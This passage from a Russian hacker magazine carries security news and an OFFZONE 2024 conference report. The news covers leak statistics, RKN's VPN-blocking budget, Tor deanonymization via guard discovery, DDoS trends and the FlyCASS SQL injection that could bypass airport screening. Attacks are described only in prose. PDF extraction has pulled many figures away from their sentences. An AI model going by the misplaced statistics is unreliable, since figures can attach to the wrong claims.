в рамках своих кампаний.

После того как Google исключила CMG из партнерской программы, в Meta
добавили, что в настоящее время проверяют, не нарушала ли CMG положе‐
ния и условия (Terms and conditions) компании, и заявили, что могут принять
меры, если это будет необходимо.

 СТРОК УТЕКШИХ ДАННЫХМИЛЛИАРД

По данным специалистов InfoWatch, за первое полугодие 2024  года в России было скомпро‐
метировано  строк персональных данных, что на   больше, чем в ана‐
логичном периоде прошлого года.

986 миллионов 33,8%

Увеличилось и количество зарегистрированных инцидентов: с начала года специалисты выяви‐
ли  случаев утечек данных — на   больше, чем в 2023 году.415 10,1%

При этом более половины этого объема пришлось на некий один инцидент, зарегистрирован‐
ный Роскомнадзором. Тогда было сразу скомпрометировано более  строк
данных.

500  миллионов

Также отмечается, что по итогам первого полугодия существенно выросла и доля утечек све‐
дений, содержащих государственную тайну: с   до   от общего объема утекших данных.6,4 11,1%

Продолжение статьи
→

https://xakep.ru/2024/09/18/pager-explotion-mg/
https://github.com/sickcodes/Docker-OSX
https://www.documentcloud.org/documents/25051283-cmg-pitch-deck-on-voice-data-advertising-active-listening
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60 МИЛЛИАРДОВ
НА ТСПУ
По информации СМИ, в  федеральном проекте «Инфраструктура кибер‐
безопасности» содержится информация о  том, что Роскомнадзор (РКН)
может потратить почти  60  миллиардов рублей на  обновление системы бло‐
кировки интернет‑ресурсов в  Рунете  — технических средств противодей‐
ствия угрозам (ТСПУ), установленных на сетях операторов связи.

В паспорте федерального проекта «Инфраструктура кибербезопасности»,
входящего в  национальный проект «Экономика данных и  цифровая тран‐
сформация государства», сообщается, что РКН намерен модернизировать
ТСПУ, которые устанавливаются на  сетях всех операторов связи согласно
закону «о суверенном Рунете», вступившему в силу 1 ноября 2019 года.

Например, с  2025  по  2030  год планируется как  модернизировать ранее
установленные ТСПУ, так и  установить новые на  узлах связи «с учетом раз‐
вития сетей и ежегодного роста объема трафика». На это за пять лет пред‐
полагается выделить  58,97  миллиарда рублей из  федерального бюджета  —
большую часть средств, запланированных на  весь федеральный проект
(68,77 миллиарда рублей).

Также в  рамках федерального проекта запланировано создание единой
платформы для  борьбы с  мошенниками, которую предполагается раз‐
работать с  участием операторов и  банков, и  системы блокировки фишин‐
говых сайтов.

«

»

«В целях модернизации ТСПУ планируется закупка оборудования
и  ПО, а  также расширение возможностей за  счет разработки новых
и  актуализации существующих сигнатур. Развитие автоматизирован-
ной системы обеспечения безопасности (АСБИ  — так официально
и называется система блокировки ресурсов РКН, которая также дол-
жна противостоять DDoS-атакам) позволит увеличить пропускную спо-
собность ТСПУ, установленных на  узлах связи, до  725,6  Тбит/с
и повысить уровень эффективности ограничения доступа к средствам
обхода блокировок VPN до  96%»,  — гласит описание мероприятий
федерального проекта.

В аппарате вице‑премьера Дмитрия Григоренко прокомментировали, что
финансовые параметры нацпроекта «в настоящее время прорабатываются»,
добавив, что до завершения этого процесса никакие мероприятия подтвер‐
дить не могут.

В свою очередь, в  пресс‑службе РКН сообщили, что оборудование
для  ТСПУ закупается и  устанавливается каждый год с  2020  года и  «это свя‐
зано с тем, что сети операторов развиваются — количество трафика растет,
узлы меняются, добавляются. ТСПУ должны соответствовать этим изменени‐
ям».

При этом эксперты полагают, что модернизация ТСПУ может привести
к  тому, что VPN-сервисы потеряют эффективность для  доступа к  запрещен‐
ному контенту. К  примеру, генеральный директор «Комфортела» Дмитрий
Петров считает, что модернизация ТСПУ усложнит обход блокировок.

«
»

«Это будет война меча и  щита, кошек и  мышей. Технически можно
достигнуть блокировки  90% трафика VPN-сервисов. При  этом у  тех,
кто захочет получать доступ к заблокированным ресурсам, такая воз-
можность технически останется, но  станет сложнее и  дороже»,  —
говорит Петров.

ОНИ СЛЕДЯТ ЗА ТОБОЙ
Исследователи «Лаборатории Касперского» опубликовали отчет о  веб‑трекинге в  2023–
2024 годах. В компании выяснили, что  снова стала «лидером» в области мониторинга
поведения людей в интернете.

Google

 трекинговых систем попали в топы практических всех регионов, и   из них принадлежат ком‐
пании Google. Еще   трекинговые системы, представленные почти во всех регионах, принад‐
лежат  и  .
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New Relic Microsoft

Единственный регион, где трекеры Google не попали на первые места, — это СНГ. Здесь они
занимают только третье место со сравнительно небольшой долей  и ниже.9,30%

На первом месте в СНГ расположились трекеры  — . При  этом сис‐
тема компании «Яндекс» не  только попала в  топ-25  по  СНГ, но  и была замечена в  иранском
рейтинге на  четвертом месте ( ), на  Ближнем Востоке ( ) и, конечно, в  России
на первом месте с долей .

Yandex.Metrica 26,19%

4,90% 2,30%
26,43%

На втором месте рейтинга СНГ находится трекинговая система сервисов  (принад‐
лежащая корпорации VK) — .

Mail.Ru
20,76%

Что касается России, здесь в  топ-5  входят исключительно локальные трекинговые системы
 (26,43%),  (16,60%),  (6,16%),  (4,89%)

и   (4,80%).
Yandex.Metrica Mail.Ru Mediascope Sape.ru

Artificial Computation Intelligence

Отмечается, что наличие в рейтинге локальных трекеров служит «показателем технологической
развитости региона или  страны», но  также это  увеличивает риск утечек и  способно ослабить
ощущение контроля пользователя над тем, кто собирает его данные.

ДЕАНОНИМИЗАЦИЯ
В TOR
Разработчики Tor Project заверяют пользователей, что браузер и  сеть Tor
по‑прежнему безопасны. Дело в том, что недавно в сети появилась информа‐
ция о том, что правоохранительные органы Германии и других стран совмес‐
тно работают над деанонимизацией пользователей с помощью атак по вре‐
мени (timing attack).

В  немецкого издания Panorama и  расследователь‐
ского YouTube-канала STRG_F появилась информация о  том, что Федераль‐
ное ведомство уголовной полиции Германии (BKA) и  Генеральная прокура‐
тура Франкфурта‑на‑Майне сумели установить личность по  меньшей мере
одного пользователя Tor. В  качестве ключа к  деанонимизации в  публикации
упоминается «timing-анализ».

совместном докладе

«
»

«По временным характеристикам отдельных пакетов анонимные
соединения можно отследить до конкретного пользователя Tor, даже
если соединения в  сети Tor шифруются многократно»,  — сообщают
журналисты, однако не поясняют, как именно работает эта техника.

В теории долгосрочное наблюдение за определенными тенденциями, как это
предполагает методология timing-анализа, вероятно, действительно может
дать наблюдателям определенные подсказки о  пользователях, посылающих
трафик в сеть.

По сути, некто может добавлять свои ноды в сеть Tor и фиксировать время
поступления пакетов в сеть и их выхода. Через некоторое время, основыва‐
ясь на  полученных временных параметрах, можно определить, кто подклю‐
чается к тому или иному сервису .onion.

При этом Маттиас Маркс (Matthias Marx), представитель известного хакер‐
ского сообщества Chaos Computer Club (CCC), подтвердил СМИ, что име‐
ющиеся доказательства (документы и  другая собранная журналистами
информация) «свидетельствуют о  том, что правоохранительные органы
в  течение нескольких лет неоднократно и  успешно проводили атаки
на отдельных пользователей Tor с целью деанонимизации, используя для это‐
го timing-анализ».

В ответ на  эту публикацию команда Tor сообщила в  блоге, что все, кто
использует последние версии инструментов Tor Project, находятся в безопас‐
ности, а атаки по времени — это известная техника, от которой давно сущес‐
твуют эффективные средства защиты.

Специалисты отмечают, что не видели всех документов (хотя запрашивали
их у журналистов), но считают, что немецкая полиция смогла вычислить одно‐
го конкретного пользователя Tor из‑за того, что тот использовал устаревшее
ПО, а не из‑за того, что правоохранители воспользовались неизвестной уяз‐
вимостью или нашли новое применение атакам по времени.

По информации немецких исследователей, timing-атака использовалась
в процессе расследования в отношении человека, известного как Andres G.
Якобы правоохранители считали его оператором onion-ресурса Boystown,
на  котором размещались материалы о  сексуальном насилии над  детьми
(CSAM), то есть детская порнография.

Утверждается, что Andres G использовал анонимный мессенджер
Ricochet, который передает данные между отправителями и  получателями
посредством Tor. Более того, утверждается, что его версия мессенджера
не  могла защитить свои Tor-соединения от  деанонимизации через атаки
по времени, чем и воспользовалась полиция.

Якобы немецкие власти заручились поддержкой оператора Telefónica,
который предоставил данные обо всех клиентах O2, подключавшихся к извес‐
тному узлу Tor. Сопоставление этой информации с  данными timing-анализа
позволило властям идентифицировать Andres G, который в  итоге был арес‐
тован, обвинен, осужден и заключен в тюрьму еще в 2022 году.

Разработчики Tor пишут, что описанный метод вряд ли свидетельствует
об  уязвимости Tor, а  Andres G использовал уязвимый Ricochet и  был деано‐
нимизирован с  помощью атаки типа guard discovery. То есть полицейские
сумели вычислить входной (entry node) или  сторожевой узел (guard node),
который использовал подозреваемый для  передачи данных через сеть Tor.
После этого полиция могла запросить у Telefónica список абонентов, которые
подключались к  этому узлу, и  в итоге узнала личность конкретного поль‐
зователя.

Разработчики считают, что Andres G использовал старую версию Ricochet,
в которой не было защиты от подобных атак.

« »
«Эта защита присутствует в Ricochet-Refresh, поддерживаемом форке
давно заброшенного проекта Ricochet, начиная с  версии  3.0.12,
выпущенной в июне 2022 года», — пишут они.

После публикации доклада Panorama и STRG_F пользователи Tor стали опа‐
саться того, что сеть может быть наводнена узлами, контролируемыми
полицией, что поставит под угрозу их анонимность. Однако, по словам раз‐
работчиков, количество узлов, необходимых для  такой атаки, должно быть
просто гигантским.

«

»

«Утверждение о том, что сеть „нездорова“, не соответствует действи-
тельности. Команда Network Health внедрила процессы для выявления
больших relay-групп, которые могут управляться одним оператором
или  злоумышленниками, и  не позволяют им присоединиться к  сети.
В результате было выявлено множество опасных relay для  удаления,
которые затем были забанены Directory Authorities. Многие из  них,
скорее всего, не представляли реальной угрозы для пользователей».

Кроме того, в  заявлении Tor Project подчеркивается, что описанные жур‐
налистами атаки происходили в  период между  2019  и  2021  годами, а  с тех
пор сеть Tor значительно расширилась, и теперь осуществить атаки по вре‐
мени стало гораздо сложнее.

DDOS-АТАКИ ВЫРОСЛИ НА 16%
В первом полугодии  2024  года общее количество DDoS-атак на  российские организации
выросло до   — это на  больше, чем за весь 2023 год.355 тысяч 16%

Главным трендом первых шести месяцев года специалисты ГК «Солар» назвали 
 (комбинации SYN Flood, UDP Flood, ICMP и так далее) с рекордной мощностью,

но малой продолжительностью, которые гораздо сложнее обнаружить и отразить.

мультивек-
торные атаки

Максимальная мощность одной атаки выросла почти в   в сравнении с аналогичным пери‐
одом прошлого года — до  .

7 раз
1,2 Тбит/с

При этом максимальная продолжительность DDoS-атаки снизилась более чем в   год
к году — до  , а средняя уменьшилась в   — до  .

3  раза
35 дней 24 раза 8 минут

(НЕ)БЕЗОПАСНОСТЬ
ВОЗДУШНОГО
ТРАНСПОРТА
ИБ‑специалисты нашли уязвимость в  одной из  ключевых систем безопас‐
ности на  воздушном транспорте, позволяющую неавторизованным лицам
миновать досмотр в аэропортах и получать доступ в кабины самолетов.

Исследователи Иэн Кэрролл (Ian Carroll) и  Сэм Карри (Sam Curry) обна‐
ружили уязвимость во  FlyCASS  — стороннем веб‑сервисе, который часть
авиакомпаний используют для  управления программой Known Crewmember
(KCM) и системой Cockpit Access Security System (CASS).

KCM  — это  проект Администрации транспортной безопасности США
(Transportation Security Administration, TSA), который позволяет пилотам
и бортпроводникам не проходить досмотр, а CASS позволяет лицензирован‐
ным пилотам занимать места в кабинах самолетов во время путешествий.

Система KCM, управляемая ARINC (дочерней компанией Collins
Aerospace), проверяет полномочия сотрудников авиакомпаний через спе‐
циальную онлайн‑платформу. Чтобы миновать досмотр, нужно пройти про‐
цесс проверки, который включает в  себя сканирование штрихкода KCM
или ввод номера (ID) сотрудника, а затем и перекрестную проверку через БД
авиакомпании. Аналогичным образом система CASS проверяет пилотов,
если те хотят занять место в кабине во время командировки или путешествия.

Исследователи обнаружили, что система регистрации FlyCASS подверже‐
на проблеме SQL-инъекций. С  помощью этого бага эксперты сумели войти
в систему с правами администратора конкретной авиакомпании (Air Transport
International) и  получили возможность изменять данные сотрудников. Так,
во  время тестов исследователи добавили в  систему фиктивного сотрудника
с  именем и  фамилией Test TestOnly, а  затем предоставили этой учетной
записи доступ к KCM и CASS.

«
»

«Любой человек, обладающий базовыми знаниями об SQL-инъекциях,
мог зайти на этот сайт и добавить в KCM и CASS любого желающего,
что позволяло как  миновать проверки безопасности, так и  получить
доступ в кабины пилотов коммерческих авиалайнеров», — рассказыва-
ет Кэрролл.

Осознав всю серьезность ситуации, исследователи немедленно сообщили
об  уязвимости властям, связавшись с  Министерством внутренней безопас‐
ности США (DHS) 23 апреля 2024 года. Специалисты решили не обращаться
непосредственно к  администрации сайта FlyCASS, так как  ресурсом, судя
по всему, управляет один человек, и они сочли, что информации о проблеме
может его напугать.

В результате в DHS признали серьезность уязвимости и подтвердили, что
FlyCASS был отключен от  системы KCM/CASS 7  мая  2024  года в  качестве
меры предосторожности. Вскоре после этого уязвимость во  FyCASS была
устранена. Однако с  дальнейшим раскрытием уязвимости возникли слож‐
ности, так как после этого представители DHS перестали отвечать на письма
Кэрролла и Карри.

Пресс‑служба Администрации транспортной безопасности США и  вовсе
направила исследователям официальное заявление, в  котором отрицала
возможные последствия от  уязвимости, утверждая, что существующие про‐
верки предотвращают потенциальный несанкционированный доступ. К  тому
же после получения информации от  экспертов TSA тихо удалила со  своего
сайта информацию, которая противоречила этим заявлениям.

«
»

«Когда мы уведомили TSA о  проблеме, они удалили раздел своего
сайта, где упоминалась необходимость ручного ввода ID сотрудника,
и  не ответили на  наше сообщение. Мы убедились, что интерфейс,
используемый TSO, по‑прежнему позволяет вводить идентификаторы
сотрудников вручную», — говорит Кэрролл.

Также Кэрролл подчеркивает, что уязвимость могла привести к масштабным
нарушениям безопасности, например к изменению существующих профилей
членов KCM, что позволяло обмануть любые проверки, предусмотренные
для новых участников.

При этом в TSA по‑прежнему отрицают опасность уязвимости, найденной
специалистами.

«

»

«В апреле 2024 года Администрации транспортной безопасности США
стало известно об  обнаружении уязвимости в  сторонней БД, содер-
жащей информацию о  членах экипажей самолетов, и  о том, что
в результате тестирования этой уязвимости в список членов экипажей
в базе было добавлено непроверенное имя. Никакие правительствен-
ные данные или системы не были скомпрометированы, и эти действия
не  повлияли на  транспортную безопасность,  — заявляет пресс‑сек-
ретарь TSA. — TSA не полагается исключительно на эту базу данных
для проверки личностей членов экипажей. В TSA существуют процеду-
ры проверки личности членов экипажей, и  только проверенным чле-
нам экипажей разрешен доступ в безопасные зоны в аэропортах. TSA
сотрудничало с  заинтересованными сторонами для  устранения всех
выявленных киберуязвимостей».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Unicorn похищает данные российских организаций

Вымогатель RansomHub злоупотребляет Kaspersky TDSSKiller для отключения ERD

Android-малварь SpyAgent распознает и ворует данные с изображений

Хакеры использовали пробельные символы Брайля для атак на Windows

Для Flipper Zero вышла прошивка версии 1.0

Telegram будет сообщать правоохранителям IP-адреса и телефоны пользователей

Операторы пожаловались в ФАС на дискриминацию из‑за замедления YouTube

Атака RAMBO использует ОЗУ для хищения данных с изолированных машин

Власти ликвидировали платформу для зашифрованных коммуникаций Ghost

Ключи YubiKey можно клонировать через сложную side-channel-атаку

https://www.ndr.de/fernsehen/sendungen/panorama/aktuell/Investigations-in-the-so-called-darknet-Law-enforcement-agencies-undermine-Tor-anonymisation,toreng100.html
https://xakep.ru/2024/09/20/unicorn/
https://xakep.ru/2024/09/11/tdsskiller-abuse/
https://xakep.ru/2024/09/09/spyagent-ocr/
https://xakep.ru/2024/09/16/braille-pattern-blank-void-banshee/
https://xakep.ru/2024/09/11/flipper-zero-firmware-1-0/
https://xakep.ru/2024/09/23/telegram-search/
https://xakep.ru/2024/09/20/youtube-fas-slowdown/
https://xakep.ru/2024/09/09/rambo/
https://xakep.ru/2024/09/19/ghost-down/
https://xakep.ru/2024/09/05/eucleak/
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В нашем распоряжении были два дня кон‐
ференции, около сотни докладов, пять
видов OFFZONE-пива, новый бейдж
и  целое множество аддонов всех видов
и  подсветок, а  также горы мерча, вел‐
ком‑пак, конкурсы, стенды партнеров
и  бесплатный кофе. Единственное, что
вызывало у  меня опасение,  — это  оффко‐
ины, но  я знал, что рано или  поздно мы
перейдем и на них.

ОБЩИЕ ВПЕЧАТЛЕНИЯ

Желанный комфорт и  современный вид банкетного лофт‑пространства
GOELRO прошлого года сменились на советский антураж культурного центра
ЗИЛ, в  котором и  состоялась пятая  — юбилейная  — конференция по  прак‐
тической кибербезопасности OFFZONE. На  два дня, 22  и  23  августа, тер‐
риторию первого и  лучшего дворца культуры столицы, работающего аж
с 1937 года, наводнили более 4000 посетителей, среди которых были IT-спе‐
циалисты всех мастей: разработчики, тестировщики, безопасники, незави‐
симые исследователи и, разумеется, хакеры.

Эти подписи вообще кто‑то читает?

На стойке регистрации все участники вместе с  новым именным бейджем
получали по  стартовому набору, в  котором были стикеры, тетрадь со  спра‐
вочной информацией, некоторые другие приятные мелочи и  бутылка пить‐
евой воды, что весьма предусмотрительно. В  тетради  — бланк для  участия
в приветственном квесте: сбор семи печатей на стендах партнеров за выпол‐
нение простых заданий, что в  итоге позволяло получить первые оффкоины
у волонтера в зоне .CUB_3

Главный артефакт конференции — CUB_3

Бейдж, часть приветственного набора, стикеры

Знаки. Они повсюду

Старое здание советской эпохи изнутри приобрело черты, атмосферу и нас‐
троение то ли игры Atomic Heart, то ли полного неона и  технологий кибер‐
панка. В  любом случае уникальные и  яркие стенды партнеров привлекали
большое количество энтузиастов, давая шанс узнать что‑то новое, весело
провести время за головоломками, выиграть ценные призы и даже получить
работу. Без вызовов также дело не обошлось: в коридорах здания было душ‐
но, многочисленные переходы и  лестницы ассоциировались с  эдаким
лабиринтом, в  котором без  труда можно было заблудиться, да  и со  связью
на первых двух этажах было непросто.

С удивлением для себя и уже после конференции я узнал, как можно было
попасть на четвертый этаж здания, где располагались AI.Zone и Threat.Zone.
Карта здания с  обозначенными локациями присутствовала, но  на деле заб‐
рести в тупик было легко даже с ней перед глазами. Указатели с названиями
зон тоже имелись, но  могли направлять путника в  глухую стену или  проход
в технические помещения, так что на протяжении всего первого дня участни‐
ки конференции изучали план местности и  запоминали, где расположены
интересующие их зоны и активности.

Киберпанк‑стенд Positive Technologies

Стенд HeadHunter

Стенд Kaspersky

«Сбер» выгодно отличился светлыми тонами своего стенда

Легендарный бот‑доставщик собственной персоной

Стена с мозаикой из фотографий отважных посетителей конференции

Сенсационный материал: образцы тех самых фотографий, формиру‐
ющих мозаику

Уместно предположить, что чем выше был этаж, тем меньше было людей
в  расположенных на  них зонах. Честно говоря, бегать по  этажам в  такой
духоте хотелось меньше всего, особенно учитывая плотность докладов
и  ограниченные промежутки времени между ними. Погода тоже диктовала
свои условия, давая лишний повод общаться и отдыхать на свежем воздухе,
чем многие и занимались.

Фуд‑корт и зона активностей на улице

Одно из  развлечений первого дня  — это  родео на  механическом быке
в  сочетании с  дегустацией пяти сортов фирменного пива. Комбинировать
никто не заставляет, но так получается веселее всего. Кстати, родео не прос‐
тое: разгоряченному всаднику параллельно еще  задают технические воп‐
росы, на  которые нужно быстро отвечать. Не  знаю, выдавались ли за  это
оффкоины, но веселья и без них было через край.

Очередной смельчак пытается подчинить своей воле механического ско‐
та

Неподалеку расположился фуд‑корт, где можно было подкрепиться воком
и испить бодрящего кофе. Чуть дальше, где‑то в области кустов и деревьев,
можно было обнаружить зону отдыха, которую заняли бывалые участники
сообщества, иногда с  демонстрацией навыков вокала и  все теми же пятью
видами пенного. Позитивно, душевно, дружелюбно!

Craft.Zone давала возможность уверенно взять в руки паяльник и начать тво‐
рить чудеса. Под  чудесами подразумевались кастомизированные аддоны
для  бейджа, которые участники клепали сами, иногда прибегая к  помощи
наставников.

Застал творца за работой с мелкими деталями

Здесь же, как  было заявлено, можно было предъявить свои прошлогодние
бейджи и  получить за  это уникальные аддоны. Некоторые забирали в  одни
руки по несколько штук, так что запасы аддонов иссякли моментально и боль‐
ше не возобновлялись.

Tattoo.Zone в  очередной раз ставит рекорд по  сделанным во  время кон‐
ференции татуировкам: всего сотворено  57  шедевров, 25  из  которых  —
с  логотипом. Что это  значит? Что обладатели татуировок с  логотипом
OFFZONE проходят на  следующие мероприятия бесплатно, также получая
проходку на вечеринку для спикеров.

Киберпанк‑комикс Kaspersky для всех желающих

What the hack, Pentestan? — актуальные вопросы в Game.Zone

Game.Zone  — рай для  геймеров или  желающих просто почилить. Впрочем,
и тут тоже был азарт и конкурсы.

С отдыхом и активностями, думаю, все понятно. Что с докладами?

Пауза между докладами в зале Main track

На два дня конференции пришлось 98 докладов, которые читали 124 спикера.
Я порой отгонял от  себя мысль, что кто‑то абьюзит механику выступлений
ради прохода на закрытую вечеринку для спикеров.

Ключевым выступающим юбилейного OFFZONE стал главный специалист
«Лаборатории Касперского» Сергей Голованов, подготовивший доклад
с  интригующим названием «Корень зла». Голованов поведал слушателям
о  причинах и  эволюции инцидентов в  сфере инфобеза за  последние два
десятка лет. Все запланированные выступления традиционно делились
по  направлениям: Main track, Fast track, Threat.Zone, AppSec.Zone,
AntiFraud.Zone, AI.Zone, CTF track и Community track.

Полупустой зал Main track

Выбор площадки наложил свой отпечаток и здесь. Часть докладов основного
трека проходила при полупустом зале, в то время как AppSec.Zone с трудом
вмещала в себя всех желающих на нескольких докладах. Также ширина зала
и колонны в AppSec.Zone порой не позволяли увидеть выступающего.

Доклад в AppSec.Zone

Зал, отведенный под AntiFraud.Zone и Fast track, напоминал небольшую ауди‐
торию учебного заведения как  по внешнему виду, так и  по царящей в  нем
атмосфере. Доклады читались, публика внимала мудрости спикеров.

Продолжение статьи
→

https://t.me/fearisbigbusiness
https://offzone.moscow/cub-3/


ОТЧЕТ С OFFZONE 2024
КАК Я СЛУШАЛ ДОКЛАДЫ,

ДЕГУСТИРОВАЛ ПИВО И ЧУДОМ
НЕ ПОТЕРЯЛСЯ

HEADER 
НАЧАЛО СТАТЬИ←

BI.ZONE BUG BOUNTY

Разумеется, много говорили и про багбаунти: подвели итоги года платформы
BI.ZONE Bug Bounty, обсудили основные тенденции на российском рынке ББ,
особенности работы багхантеров и  ряд других, не  менее важных вопросов.
Из  примечательного: отмечен рост на  112% числа компаний на  площадке
BI.ZONE Bug Bounty и на 58% количества программ за прошедший год.

Зона BI.ZONE

Засек лидера MCG, успевшего налутать все, что не было прибито гвоз‐
дями. Хвалю!

На мероприятии работал яркий стенд BI.ZONE Bug Bounty, возглавляемый
Андреем Левкиным. Все желающие могли побороться за мерч, попробовать
багбаунти‑мармелад и кислородные коктейли, проявляя активность и решая
задачи. Вишенка на  торте  — эксклюзивная ачивка OFFZONE
2024 в обновленном, дерзком хай‑тек‑дизайне, которая выдавалась зарегис‐
трированным на платформе багхантерам, достаточно было сказать свой ник
или  показать профиль со  смартфона. Раз уж речь зашла о  дерзком
хай‑тек‑дизайне, то не могу не упомянуть обновленный дизайн всей площад‐
ки  — получилось круто, это большой шаг вперед.BI.ZONE Bug Bounty

Зона BI.ZONE и BI.ZONE Bug Bounty

Лидер VK BB решительно подвел итоги BUG$ ZONE 2.0

Под занавес второго дня в  зале AppSec.Zone состоялась церемония наг‐
раждения самых активных и  продуктивных багхантеров площадки. От  своих
и для своих, так сказать. Было много шуток, громких аплодисментов, впечат‐
ляющих результатов работы коллег и, конечно, награждений. А  открыл
это  действо известный в  наших кругах Black Fan в  категории «Мамина
радость». В общем, было весело! :)

МЕРЧ, ОФФКОИНЫ И OFFSTORE

INFO

Оффкоин  — игровая валюта конференции.
Оффкоины можно получить за  выполнение
заданий, а затем обменять в магазине OFFSTORE
на приглянувшийся мерч.

На OFFZONE делается очевидная ставка на мерч, который можно либо купить
за  рубли, либо обменять на  оффкоины, либо выиграть в  конкурсах. Мерча
много, желающих его купить, выиграть или  обменять еще  больше. Так мы
подходим к  одной очевидной проблеме: мерч быстро кончался и  не вос‐
полнялся ни через несколько часов, ни даже на второй день OFFZONE.

Образцы мерча OFFZONE 2024

Всевозможные стратегии заполучить мерч тоже не  всегда оказывались
успешными, что вызывало критику участников. Самый простой сценарий  —
отстоять очередь в OFFSTORE — по факту для некоторых оборачивался тем,
что, проведя в ней несколько часов, они узнавали, что нужного товара больше
нет и на выбор только остатки. А на второй день раскупили и их.

Пустой OFFSTORE после полутора дней непрерывного натиска

В самом жестком пролете были те бедолаги, которые хотели первый день
потратить на выполнение конкурсных заданий и накопление оффкоинов, а на
второй день уже тратить валюту конференции в OFFSTORE и на стендах пар‐
тнеров. Был и другой нюанс, вызвавший непонимание участников: за выпол‐
нение некоторых конкурсных заданий в первые часы мероприятия начисляли
слишком много оффкоинов, а  потом награда за  те же задания была в  нес‐
колько раз меньше. Таким образом, кому‑то просто повезло удачно обо‐
гатиться и залутать в магазине самые ходовые позиции. Возможно, даже что‐
бы потом продать — такое уже бывало в прошлые разы.

Начало очереди в магазин, первый день OFFZONE 2024

Но все это  одновременно и  комплимент самому мерчу  — раз смели боль‐
ше 3500 единиц, значит, пришелся по вкусу. И большое спасибо волонтерам,
которые смогли выдержать два дня такого натиска. Вы молодцы!

СООБЩЕСТВО

Активности и атмосфера на OFFZONE тесно связаны с сообществом в самом
широком смысле этого слова. Примечательно, что именно на  это мероп‐
риятие выбираются даже те, кто не  особенно любит появляться на  публике
и кого на других конференциях не застать.

Server is down, поэтому можно тусить на OFFZONE

Ильдар и Карина, «Хлеб и „Рама“»

Это дивное создание очень мило улыбнулось в камеру :)

Зона сообщества  — Community.Zone  — находилась на  третьем этаже
и  потому была несколько отделена от  остальных. Кому‑то относительная
тишина и  покой пришлись по  вкусу, кто‑то, напротив, чувствовал, что кон‐
ференция проходит где‑то рядом, но  отдельно. Так или  иначе, это  не
помешало ведущим и  докладчикам этой зоны отработать на  100%. Там же,
кстати, располагался и стенд «Хакера», на котором подписчиков и гостей кон‐
ференции радушно встречал Дмитрий Агарунов с  его помощницами и  спе‐
циально выбравшийся из  Петербурга ведущий редактор Валентин Хол‐
могоров.

Волнующий момент раздачи стильных стикерпаков

Валентин Холмогоров и Дмитрий Агарунов

В глазах читается мысль: счастье так близко!

На стенде канала « » в первый день за считаные часы разлетелись
все эксклюзивные и  бесплатные футболки. По  изначальной задумке их
собирались раздавать за репост записи с канала, но в итоге, как я понял, раз‐
давали по принципу «кто первый встал, того и тапки». Любители мерча не зас‐
тавили себя долго уговаривать, опустошив запасы в рекордные сроки.

Багхантер

Зону сообщества также представляли: локпик от  энтузиастов канала
, ,  и   с задачами, взор‐

вавшими многим мозг. Талисман SPbCTF  — Ыж  — не  только присутствовал
и на этой конференции, но и бросал вызов смельчакам, вознаграждая самых
упорных и сообразительных оффкоинами, эксклюзивным аддоном и мерчем.

@autopsy_wt OSINT Village Mobile AppSec World SPbCTF

Мужчины готовятся к битве с ИИ

Суть сводилась к тому, чтобы попробовать свои силы в противостоянии ней‐
ронке, ускользнуть от  бдительного ока Ыжа и  вообще подменить свою лич‐
ность. Круто? Круто!

В суете происходящего видел, как один боец делал себе боевой раскрас
на лице в виде российского триколора с помощью специальных красок. Как я
потом узнал, это ему помогло.

Ыж strikes back!

Запечатлел прекрасное: лидер и талисман SPbCTF на одной фотог‐
рафии

OFFZONE BB & PENTEST PARTY 2024

Пожалуй, лучшего завершения двух дней конференции, чем OFFZONE BB &
Pentest Party 2024, быть просто не могло. Умельцы из VK и CICADA8 организо‐
вали приватную вечеринку в  уютном лофте Ratusha Hall, что расположен
неподалеку от культурного центра ЗИЛ. Огромное количество закусок и море
разнообразных напитков на любой вкус, прекрасно подходящий к атмосфере
вечеринки хип‑хоп от элегантного диджея Stasy J, конкурсы и раздача сувени‐
ров, много общения в дружеской атмосфере и даже коллективное исполне‐
ние «Все идет по плану» в караоке под клубы дыма многочисленных кальянов.

Сережа @poxek опять пытался спрятаться, но не успел

Успели пофилософствовать с новым комьюнити‑менеджером BI.ZONE Ильей
Пономаревым на  тему прошлого и  настоящего в  реалиях ИБ‑сообщества,
обсудить со  старыми друзьями планы на  ближайшее будущее, посмеяться
и  обменяться мнениями о  двух днях OFFZONE. Разумеется, еда и  напитки
тоже не остались без нашего пристального внимания.

Если кто‑то из пришедших скучал по живому общению, то он точно получил
то, за  чем пришел. Спасибо организаторам и  за вечеринку, и  за приг‐
лашение. Вечер однозначно удался, завершившись на позитивной ноте.

Со сцены справа звучит глагол, воспламеняющий сердца багхантеров,
публика аплодирует стоя

АУТРО

Свое место в истории эта конференция однозначно заняла, еще раз собрав
под  одной крышей такую разнообразную ИБ‑тусовку и  сделав это  в своем,
максимально неформальном стиле. Для  организаторов конференция
по  практической кибербезопасности OFFZONE  — год интенсивной работы,
а  для нас  — два дня отдыха, общения и  хорошего настроения. Партнеры
и  активные участники мероприятия также внесли свой большой вклад и  в
организацию, и  в атмосферу конференции. Спасибо вам за  проделанную
работу и потраченные силы.

Приятно осознавать, что сообщество выходит из анабиоза последних лет,
объединяется и  пересобирается заново в  качественно лучшем виде
для новых экспериментов и ярких начинаний. Как   не так давно Алек‐
сандра Антипина, сообщество перестает быть токсичным внутри и  снаружи,
избавляясь от ошибок прошлого.

заметила

Концептуальная инсталляция

Не сомневаюсь, что обратная связь будет проработана и через год мы вновь
встретимся на уже шестом по счету OFFZONE. Ну а пока, если ты упустил воз‐
можность дать организаторам свою обратную связь, то сделать это  можно
по  специальной . Заодно не  забудь посмотреть  и  уже
подготовленные  — порадуй себя интересными материала‐
ми и приятными воспоминаниями.

ссылке фотографии
записи докладов

https://bugbounty.bi.zone/
https://t.me/bughunter_circuit
https://t.me/autopsy_wt
https://t.me/osint_mindset
https://t.me/mobile_appsec_world
https://t.me/spbctf
https://t.me/in51d3/6721
https://bi.zone/new-feedback/offzone-2024/
https://vk.com/albums-172362100
https://t.me/offzone_moscow/1139
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безопасности
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Никакой сайт в современном вебе не обхо‐
дится без формы авторизации, а под ней ты
часто видишь кнопки входа через соцсети.
Работают они благодаря протоколу OAuth,
с  устройством и  основными уязвимостями
которого я познакомлю тебя в этой статье.
Для закрепления знаний пройдем несколь‐
ко лабораторных работ.

Думаю, не  нужно объяснять, что такое аутентификация на  сайте. Если ты
хочешь искать работу, оформлять заказы в  интернете или  пользоваться
государственными услугами, тебя попросят подтвердить, что именно ты вла‐
делец аккаунта. И даже когда это не особенно нужно, разработчики все равно
заставят тебя авторизоваться — просто чтобы было удобнее собирать о тебе
